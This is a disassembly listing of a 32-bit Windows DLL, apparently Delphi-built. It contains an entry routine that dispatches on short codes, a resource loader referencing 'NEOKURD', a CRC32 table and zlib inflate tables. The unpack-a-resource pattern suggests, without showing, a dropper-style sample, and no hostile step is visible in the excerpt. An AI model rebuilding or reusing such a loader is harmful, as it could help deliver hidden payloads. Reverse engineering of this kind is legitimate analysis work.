aRc_data_1	db 'RC_DATA',0          ; DATA XREF: sub_100077BC+2o
					; sub_100077BC+13o
aNeokurd_1	db 'NEOKURD',0          ; DATA XREF: sub_100077BC+7o
					; sub_100077BC+18o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007808	proc near		; DATA XREF: CODE:1000787Co
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10007827
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_1000782E


loc_10007826:				; CODE XREF: sub_10007808+24j
		retn
; ---------------------------------------------------------------------------


loc_10007827:				; DATA XREF: sub_10007808+6o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10007826
; ---------------------------------------------------------------------------


loc_1000782E:				; CODE XREF: sub_10007808:loc_10007826j
					; DATA XREF: sub_10007808+19o
		pop	ebp
		retn
sub_10007808	endp

; ---------------------------------------------------------------------------
dword_10007830	dd 9, 10007838h, 100036E8h, 100036B8h, 100034B4h, 10003454h
					; DATA XREF: CODE:10007894o
					; BSS:off_1000A628o
		dd 10003720h, 100036F0h, 100037D0h, 100037A0h, 10003890h
		dd 10003860h, 10003DA0h, 10003D70h, 10006B5Ch, 10006B2Ch
		dd 10007258h, 10007228h, 0
		dd offset sub_10007808
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 20h
		sub	eax, eax
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-14h], eax
		mov	eax, offset dword_10007830
		call	sub_10003674
		xor	eax, eax
		push	ebp
		push	offset loc_1000793A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_1000A678
		mov	edx, offset dword_10007950
		call	sub_10003118
		mov	eax, ds:dword_1000A678
		mov	edx, offset dword_1000795C
		call	sub_100031D0
		jnz	short loc_100078D4
		lea	eax, [ebp-14h]
		call	sub_10007610


loc_100078D4:				; CODE XREF: CODE:100078CAj
		mov	eax, ds:dword_1000A678
		mov	edx, offset dword_10007968
		call	sub_100031D0
		jnz	short loc_100078ED
		lea	eax, [ebp-18h]
		call	sub_10007714


loc_100078ED:				; CODE XREF: CODE:100078E3j
		mov	eax, ds:dword_1000A678
		mov	edx, offset dword_10007974
		call	sub_100031D0
		jnz	short loc_10007906
		lea	eax, [ebp-1Ch]
		call	sub_100077BC


loc_10007906:				; CODE XREF: CODE:100078FCj
		mov	eax, ds:dword_1000A678
		mov	edx, offset dword_10007980
		call	sub_100031D0
		jnz	short loc_1000791F
		lea	eax, [ebp-20h]
		call	sub_1000765C


loc_1000791F:				; CODE XREF: CODE:10007915j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007941


loc_1000792C:				; CODE XREF: CODE:1000793Fj
		lea	eax, [ebp-20h]
		mov	edx, 4
		call	sub_100030E8
		retn
; ---------------------------------------------------------------------------


loc_1000793A:				; DATA XREF: CODE:100078A1o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_1000792C
; ---------------------------------------------------------------------------


loc_10007941:				; CODE XREF: CODE:10007939j
					; DATA XREF: CODE:10007927o
		call	sub_10002FD4
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10007950	dd 544Eh, 0FFFFFFFFh, 2	; DATA XREF: CODE:100078B1o
dword_1000795C	dd 544Eh, 0FFFFFFFFh, 2	; DATA XREF: CODE:100078C0o
dword_10007968	dd 4355h, 0FFFFFFFFh, 2	; DATA XREF: CODE:100078D9o
dword_10007974	dd 4C5Ah, 0FFFFFFFFh, 2	; DATA XREF: CODE:100078F2o
dword_10007980	dd 5041h		; DATA XREF: CODE:1000790Bo
CODE		ends

; Section 2. (virtual address 00008000)
; Virtual size			: 00001A84 (   6788.)
; Section size in file		: 00001A84 (   6788.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 10008000h
dword_10008000	dd 0			; DATA XREF: sub_10002EBC+Ar
					; sub_10002F18+2w ...
dword_10008004	dd 0			; DATA XREF: sub_100024D8w
					; sub_10002EBC+37r ...
byte_10008008	db 2			; DATA XREF: CODE:100034D2w
		db 8Dh,	40h, 0
word_1000800C	dw 1332h		; DATA XREF: sub_10002868+6r
					; sub_10002868:loc_100028E0r ...
		dw 0C08Bh
byte_10008010	db 0			; DATA XREF: sub_10002944r
					; sub_10002960r ...
		db 8Dh,	40h, 0
byte_10008014	db 0			; DATA XREF: sub_10002DBC-336r
					; sub_10002DBC:loc_10002AC1r
		db 8Dh,	40h, 0
byte_10008018	db 0			; DATA XREF: sub_10002F48:loc_10002FA9r
		db 8Dh,	40h, 0
off_1000801C	dd offset dword_10008088 ; DATA	XREF: sub_10003348r
					; sub_10003348+8w ...
dword_10008020	dd 0			; DATA XREF: sub_100032EC+Cr
off_10008024	dd offset sub_10001E74	; DATA XREF: sub_10002448+5r
					; sub_10002488+3Fr
off_10008028	dd offset sub_10002004	; DATA XREF: sub_10002468+5r
					; sub_10002488+26r ...
off_1000802C	dd offset sub_10002384	; DATA XREF: sub_10002488+Dr
byte_10008030	db 0			; DATA XREF: sub_100024E4+36r
aRsu		db 'клхивохмншьзыйэщчъЮАЦ',0
aFxn@		db 'ДЕ█@',0
aError		db 'Error',0            ; DATA XREF: sub_10002F48+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_10002EBC+3o
					; sub_10002F48+32o ...
		dw 0C08Bh
byte_10008074	db 30h			; DATA XREF: sub_10002EBC+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_100035E4+Cr
					; sub_100035E4+37r ...
dword_10008088	dd 0			; DATA XREF: sub_10003668o
					; sub_10003674+33o ...
dword_1000808C	dd 10000000h		; DATA XREF: sub_10003674+1Bw
dword_10008090	dd 0			; DATA XREF: sub_10003674+22w
dword_10008094	dd 0			; DATA XREF: sub_10003674+29w
		align 10h
dword_100080A0	dd 0			; DATA XREF: sub_10003BE4+9o
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_100084A0	db 0			; DATA XREF: CODE:100045C2r
		align 2
		dw 0FFFFh
byte_100084A4	db 31h			; DATA XREF: sub_1000400C+19r
a_1_3		db '.1.3',0
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_10004128+B5o
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_10004128+E2o
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_10004128+143o
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_10004128+24Do
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_10004128+395o
		align 4
dword_10008518	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_10004BE4:loc_10004C1Eo
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_10008594	dd 8 dup(0)		; DATA XREF: sub_10004BE4+3Fo
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_10008610	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_10004BE4:loc_10004C89o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_10008688	dd 4 dup(0)		; DATA XREF: sub_10004BE4+AAo
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_10008700	dd 9			; DATA XREF: sub_10004D24+4r
dword_10008704	dd 5			; DATA XREF: sub_10004D24+Cr
dword_10008708	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_10004D24+13o
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_10009708	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_10004D24+1Eo
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h, 666E6920h, 6574616Ch
		dd 312E3120h, 4320332Eh, 7279706Fh, 74686769h, 39393120h
		dd 39312D35h, 4D203839h, 206B7261h, 656C6441h
		db 72h,	20h, 0
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_10004B48+66o
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0
					; DATA XREF: sub_10004B48:loc_10004BC4o
aOversubscrib_0	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_10004BE4+7Bo
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_10004BE4+89o
aOversubscrib_1	db 'oversubscribed distance tree',0 ; DATA XREF: sub_10004BE4+F2o
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_10004BE4+100o
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_10004BE4+113o
dword_1000991C	dd 10h			; DATA XREF: sub_10004F78+6B5r
					; sub_10004F78+6EBr
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_10004F78+1F4o
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_10004F78+2C9o
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_10004F78+57Ao
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_10004F78+940o
		align 4
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_10005CF0+29Fo
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_10005CF0+4A2o
		align 4
dword_10009A0C	dd 0			; DATA XREF: sub_10004F78+803r
					; sub_10004F78+8DFr ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_100066BC+26Co
aInvalidLiter_0	db 'invalid literal/length code',0 ; DATA XREF: sub_100066BC+396o
		align 4
DATA		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 0000067D (   1661.)
; Section size in file		: 0000067D (   1661.)
; Offset to raw	data for section: 0000A000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 1000A000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_1000A000	dd offset loc_100032E4	; DATA XREF: CODE:100034F4w
dword_1000A004	dd 0			; DATA XREF: CODE:10002D4Er
dword_1000A008	dd 0			; DATA XREF: sub_100024E4+9r
					; sub_100024E4+16r
dword_1000A00C	dd 0			; DATA XREF: sub_10002DBC-363r
					; CODE:10002D2Cr
off_1000A010	dd offset sub_10001008	; DATA XREF: sub_10002944+14r
					; sub_10002960+16r ...
off_1000A014	dd offset sub_10001010	; DATA XREF: sub_10002DBC-2B6r
					; CODE:10002D14r ...
dword_1000A018	dd 0			; DATA XREF: sub_10002FD4+A8r
					; sub_10002FD4+B1r
dword_1000A01C	dd 10000000h		; DATA XREF: sub_10002E7C+29w
dword_1000A020	dd 22Ch			; DATA XREF: CODE:10003592w
byte_1000A024	db 0			; DATA XREF: sub_10002E7C+33w
		align 4
dword_1000A028	dd 0Ah			; DATA XREF: CODE:1000353Bw
dword_1000A02C	dd 142340h		; DATA XREF: CODE:10003531w
dword_1000A030	dd 0			; DATA XREF: sub_10002FD4+Eo
byte_1000A034	db 0			; DATA XREF: sub_10002F48+1r
byte_1000A035	db 0			; DATA XREF: sub_10001788+1Br
					; sub_10001788:loc_1000182Ar ...
byte_1000A036	db 2			; DATA XREF: CODE:100034EDw
		align 4
dword_1000A038	dd 0			; DATA XREF: sub_100026E4:loc_10002723o
					; CODE:1000346Do
word_1000A03C	dw 0D7B0h		; DATA XREF: CODE:10003511w
		align 10h
		dd 71h dup(0)
dword_1000A204	dd 0			; DATA XREF: sub_10002F48+1Eo
					; CODE:10003477o
word_1000A208	dw 0D7B0h		; DATA XREF: sub_10002F48+Ar
					; CODE:1000351Aw
		align 10h
dword_1000A210	dd 0			; DATA XREF: sub_10002F48+15r
		align 10h
dword_1000A220	dd 0			; DATA XREF: sub_10002F48+23r
		dd 6Bh dup(0)
dword_1000A3D0	dd 0			; DATA XREF: CODE:10003481o
word_1000A3D4	dw 0D7B0h		; DATA XREF: CODE:10003523w
		align 4
		dd 71h dup(0)
dword_1000A59C	dd 3			; DATA XREF: sub_100019F0w
					; sub_10001D80+92w ...
dword_1000A5A0	dd 0B4030h		; DATA XREF: sub_100019F0+16w
					; sub_10001D80+9Bw ...
dword_1000A5A4	dd 0FFFFFFFFh		; DATA XREF: CODE:10003465w
					; CODE:100034C5w
dword_1000A5A8	dd 3			; DATA XREF: CODE:10003561w
					; CODE:10003577w ...
byte_1000A5AC	db 1			; DATA XREF: sub_10001788+8Ew
					; sub_10001788:loc_10001845r ...
		align 10h
dword_1000A5B0	dd 0			; DATA XREF: sub_1000137C+6Dw
					; sub_100014C8+63w ...
dword_1000A5B4	dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF:	sub_10001788+11o
					; sub_10001788+24o ...
dword_1000A5CC	dd 1449B8h		; DATA XREF: sub_100010FC:loc_1000111Fr
					; sub_100010FC+2Aw ...
dword_1000A5D0	dd 144FBCh		; DATA XREF: sub_100010FC+2o
					; sub_10001184+Ar ...
dword_1000A5D4	dd 144FECh		; DATA XREF: sub_100012A0+3Eo
					; sub_10001304+51o ...
		dd 144FECh, 2 dup(0)
dword_1000A5E4	dd 2 dup(144FDCh), 2 dup(0) ; DATA XREF: sub_10001548+Bo
					; sub_100015D8+Eo ...
